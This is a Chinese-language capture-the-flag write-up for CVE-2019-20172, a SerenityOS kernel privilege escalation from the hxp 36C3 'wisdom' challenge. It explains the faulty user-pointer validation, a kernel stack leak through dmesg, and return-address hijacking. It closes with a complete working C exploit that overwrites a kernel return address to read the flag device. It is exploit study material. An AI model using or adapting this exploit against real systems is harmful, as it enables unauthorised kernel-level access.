CVE-2019-20172:36C3 wisdom中的SerenityOS内核提权

 

Description

SerenityOS是一套用于x86计算机的图形化类Unix操作系统。 SerenityOS 2019-12-30之前版本中的Kernel/VM/MemoryManager.cpp文件存在安全漏洞。本地攻击者可通过覆盖返回地址利用该漏洞获取权限。
该漏洞来自于hxp 36C3 CTF的wisdom这道题。

Description:

I really, really like this lovingly handcrafted OS. It would be a shame if something happened to it…

This is commit # fd06164fa0cee25ab69c701897de0a4bd03537d6 with the attached patch applied. Flag is in /dev/hdb.

Note that the setup of this task is perhaps a bit shaky: If you don’t get a shell prompt within a few seconds after solving the proof of work, something is wrong. Each connection has a time limit of 5 minutes and 30 seconds of CPU time, whichever happens first; you may contact us in case this causes problems for you.
Download:

wisdom-601e2adb9f44b61f.tar.xz (9.5 MiB)
Connection:

nc 88.198.156.191 2323

 

Environment

编译过程参考Serenity_Readme

编译环境

ubuntu 20.04
gcc 10.2.0
cmake 3.19.2

编译exp,在Userland/放exp源码

gedit ./Userland/test.cpp

先执行一遍../Meta/refresh-serenity-qtcreator.sh,提示Serenety root not set.,设置SERENITY_ROOT

export SERENITY_ROOT=/home/sung3r/workspace/serenity/wisdom/serenity-fd06164fa0cee25ab69c701897de0a4bd03537d6

#再执行一遍
../Meta/refresh-serenity-qtcreator.sh

编译`Userland

make -C ../Userland/

编完后在主机开一个nc服务把exp传过去

nc -l -p 5555 < test

serenity里接收test

 

Exploitable

0x01 info leak and kernel r/w

readwrite系统调用时,会先校验buffer指针是否合法,调Process::validate_write

Process::validate_writeMemoryManager::validate_user_write

MemoryManager::validate_user_writeMemoryManager::region_from_vaddr,参数传了进程句柄和虚拟地址,调用完成后再校验是否可写。

因为要exploit kernel,这里得使得kernel_region_from_vaddr这个分支通过,让kernel认为传入地址是在kernel region

使得这一分支通过的地址要是>=0xc0000000,即传入>=0xc0000000的地址便可通过调readwrite对kernel region进行读写

MemoryManager::initialize_paging()显示kernel space位于>0xc0000000

    // FIXME: We should move everything kernel-related above the 0xc0000000 virtual mark.

    // Basic physical memory map:
    // 0      -> 1 MB           We're just leaving this alone for now.
    // 1      -> 3 MB           Kernel image.
    // (last page before 2MB)   Used by quickmap_page().
    // 2 MB   -> 4 MB           kmalloc_eternal() space.
    // 4 MB   -> 7 MB           kmalloc() space.
    // 7 MB   -> 8 MB           Supervisor physical pages (available for allocation!)
    // 8 MB   -> MAX            Userspace physical pages (available for allocation!)

    // Basic virtual memory map:
    // 0 -> 4 KB                Null page (so nullptr dereferences crash!)
    // 4 KB -> 8 MB             Identity mapped.
    // 8 MB -> 3 GB             Available to userspace.
    // 3GB  -> 4 GB             Kernel-only virtual address space (>0xc0000000)

借助dmesg命令可以leak出kernel stack

 

0x02 debug

编辑./Kernel/run,插入一条-s \打开debug端口1234

运行serenity,再打开gdb,attach上去

#导入kernel symbols
pwndbg> file kernel
#attach
pwndbg> target remote :1234

 

0x03 hijack point

系统调用最终会进到syscall_asm_entry,然后call syscall_handler来调用,调用完后返回到add $0x4, %esp开始执行。kernel stack应该存在许多指向add $0x4, %esp的return address。

图中的0x001470C7便是存放在kernel stack的return address

gdb在0x001470C7下断点,继续continue后调试器能不断的断下,证明劫持点找对了

hijack的思路就是在kernel stack中找到0x001470C7这个返回地址,覆盖成读flag的payload

 

0x04 read flag

flag.txt是以/dev/hdb的形式挂载,但flag.txt并不是文件系统映像,需要调device相关接口函数read flag。

Device::get_device去获得/dev/hdb设备

对应的major number = 3minor number = 1

DiskDevice::read去read flag

 

Script

完整的exploit

#include <cstring>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/cdefs.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <unistd.h>

void* shared;

void* (*get_device)(int, int) = (void* (*)(int, int))(0x118728);
void* (*device_read)(void*, unsigned int, unsigned int, void*) = (void* (*)(void*, unsigned int, unsigned int, void*))(0x118a46);

#define RETURN_ADDR 0x001470c7

/*
* Finds base of the kernel stack assocaited with our child process
*/
unsigned long find_stackbase()
{
    FILE* fp;
    char* line = NULL;
    char* end = NULL;
    size_t len = 0;
    ssize_t read;
    unsigned long val = 0;

    fp = fopen("/proc/dmesg", "r");

    while ((read = getline(&line, &len, fp)) != -1) {
    }

    //puts(line);
    line = strstr(line, "@") + 2;
    end = strstr(line, " ");
    *end = 0;

    fclose(fp);

    //strtoul is broken so we chop off the highest nibble and add it back in after
    val = strtoul(line + 3, NULL, 16);
    val |= 0xC0000000;
    //printf("%lu\n", val);

    return val;
}

/*
 * Finds the address on the stack that stores the return address we want to overwrite.
 */
unsigned long find_hijack(unsigned long stack_base)
{
    int p[2];   //p[0]:out; p[1]:in
    char buf[0x1000] = {};
    unsigned long addr;

    pipe(p);

    addr = stack_base;

    for (int i = 0; i < 0x10000; i += 0x1000) {
        write(p[1], (void*)(addr + i), 0x1000);
        read(p[0], buf, 0x1000);
        for (int j = 0; j < 0x1000 - 0x4; j += 4) {
            uint32_t ret = *(uint32_t*)(buf + j);
            if (ret == RETURN_ADDR) {
                return addr + i + j;
            }
        }
    }
    return 0;
}

unsigned long sleep_child()
{
    sleep(2);
    printf("never getting here!\n");
    exit(0);
}

void payload()
{
    void* dev = get_device(3, 1);
    device_read(dev, 0, 512, shared);

    // crash the child process cause why not
    *(unsigned long*)0x41414141 = 0x31313131;
}

int main(int, char**)
{
    unsigned long stackbase = 0;
    unsigned long hijack = 0;
    unsigned long payload_ptr;
    int p[2];

    shared = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0);
    printf("mmap addr: %p\n", shared);

    if (fork() == 0) {
        sleep_child();
    }

    sleep(1);
    stackbase = find_stackbase();
    printf("stackbase at %lx\n", stackbase);

    hijack = find_hijack(stackbase);
    printf("hijack at %lx\n", hijack);

    // overwrite return address
    payload_ptr = (unsigned long)&payload;

    pipe(p);
    write(p[1], &payload_ptr, 4);
    read(p[0], (void *)hijack, 4);

    sleep(2);

    printf("flag is %s\n", (char *)shared);

    return 1;
}

(完)